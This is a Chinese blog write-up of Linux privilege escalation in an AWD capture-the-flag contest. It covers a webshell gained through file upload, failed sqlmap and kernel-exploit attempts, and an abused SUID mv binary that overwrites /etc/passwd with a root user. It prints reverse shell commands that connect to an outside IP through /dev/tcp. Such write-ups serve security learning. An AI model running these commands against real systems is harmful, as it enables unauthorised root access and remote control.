记一次 AWD 比赛中曲折的 Linux 提权

前提背景:

今天一场 AWD 比赛中,遇到一个场景:PHP网站存在SQL注入和文件上传漏洞, MYSQL当前用户为ROOT,文件上传蚁剑连接SHELL是权限很低的用户。我需要想办法进行提权,才能读取到 /root 目录下的 flag。


一、sqlmap --os-shell 提权

记一次 AWD 比赛中曲折的 Linux 提权_第1张图片
看到当前用户是DBA都会想着 --os-shell 提权拿shell, 然后直接读取 /root 里面的 flag。 然而我试了半天,一直无法获取shell, 卡在无法写入文件。查阅资料发现自己一直对数据库的root有误解:

  • DBA(Database Administrator)通常是数据库管理员的角色,负责管理数据库的配置、性能优化、安全性等任务。然而,DBA 和操作系统中的 root 用户不是同一个概念,它们有不同的权限和责任。
  • 在数据库管理系统中,root 用户是具有最高权限的用户,可以执行所有管理任务,包括创建、删除、修改数据库对象以及用户帐户。但是,root 用户在操作系统层面没有访问操作系统文件系统的权限,包括读取操作系统的 root 目录。
  • 使用 sqlmap -os-shell 可能导致获取到与目标系统相关的命令执行权限,但这与操作系统的 root 权限无关。-os-shell 的具体权限取决于目标系统上正在运行的 Web 应用程序的用户权限,而不是数据库的 root 权限。

综上,此法无效。


二、内核提权:

目标服务器版本信息:

记一次 AWD 比赛中曲折的 Linux 提权_第2张图片运行 linux-exploit-suggester.sh 脚本根据当前linux版本查询可利用内核提权程序

记一次 AWD 比赛中曲折的 Linux 提权_第3张图片

下载了好几个截图中内核提权的.c源代码进行编译,然而没一个有用,不想找了,遂放弃。


三、SUID 提权:

SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么该执行程序运行的时候将拥有ROOT权限。

ps:常见的suid提权文件:nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget

使用开源工具 suidcheck.sh 自动分析具有 s 权限的可执行文件:

记一次 AWD 比赛中曲折的 Linux 提权_第4张图片
存在 mv 命令,利用 mv 提权:

(www-data:/var/www/html/uploads) $ cat /etc/passwd > passwd
(www-data:/var/www/html/uploads) $ openssl passwd -1 -salt hack hack123
$1$hack$WTn0dk2QjNeKfl.DHOUue0

在这里插入图片描述构造成: hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash 插入 passwd

记一次 AWD 比赛中曲折的 Linux 提权_第5张图片mv 移动 passwd 覆盖 /etc 下的 passwd:

记一次 AWD 比赛中曲折的 Linux 提权_第6张图片

使用 su hack 进行用户切换,提示:su: must be run from a terminal

在这里插入图片描述

查阅资料解决方法:python -c 'import pty; pty.spawn("/bin/bash")' ,但是我输入一直报错,非常难受…

在这里插入图片描述

我怀疑是蚁剑的问题,我又换上了我的哥斯拉,依旧是这样。我在想要不试试反弹个shell, 因为蚁剑,哥斯拉都是php落地文件执行命令,不是一个shell。

反弹shell 命令:bash -i >/dev/tcp/43.136.46.254/1333 0>&1

在这里插入图片描述

又报错了:/bin/sh: 1: cannot create /dev/tcp/43.136.46.254/1333: Directory nonexistent

难道思路又错了??我特么就不信了,在 Stackoverflow论坛里找到相关解决方案:

使用shell执行脚本有两种方式,分别是 bash xxx.sh 和 bash -c “cmd string”。根据报错信息可知,目标主机使用的是sh,是bash的精简版本,相当于bash --posix 模式。Posix 标准 shell 不提供此功能,这个特性很奇怪,假装有一个/dev/tcp/目录。
解决办法:以后默认使用bash -c “cmd string” 进行反弹shell。如: bash -c ‘exec bash -i >& /dev/tcp/ip/port <&1’

记一次 AWD 比赛中曲折的 Linux 提权_第7张图片

ps: 成功反弹shell,值得注意的是: 有时候会报错,建议尝试执行1-3遍。

在自己的服务器上执行 python 脚本:python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

无报错,执行 su hack 切换用户,并输入密码:

记一次 AWD 比赛中曲折的 Linux 提权_第8张图片

提权成功!开始读取 /root 下的 flag:

记一次 AWD 比赛中曲折的 Linux 提权_第9张图片


你可能感兴趣的:(漏洞复现与原理分析,linux,运维,服务器)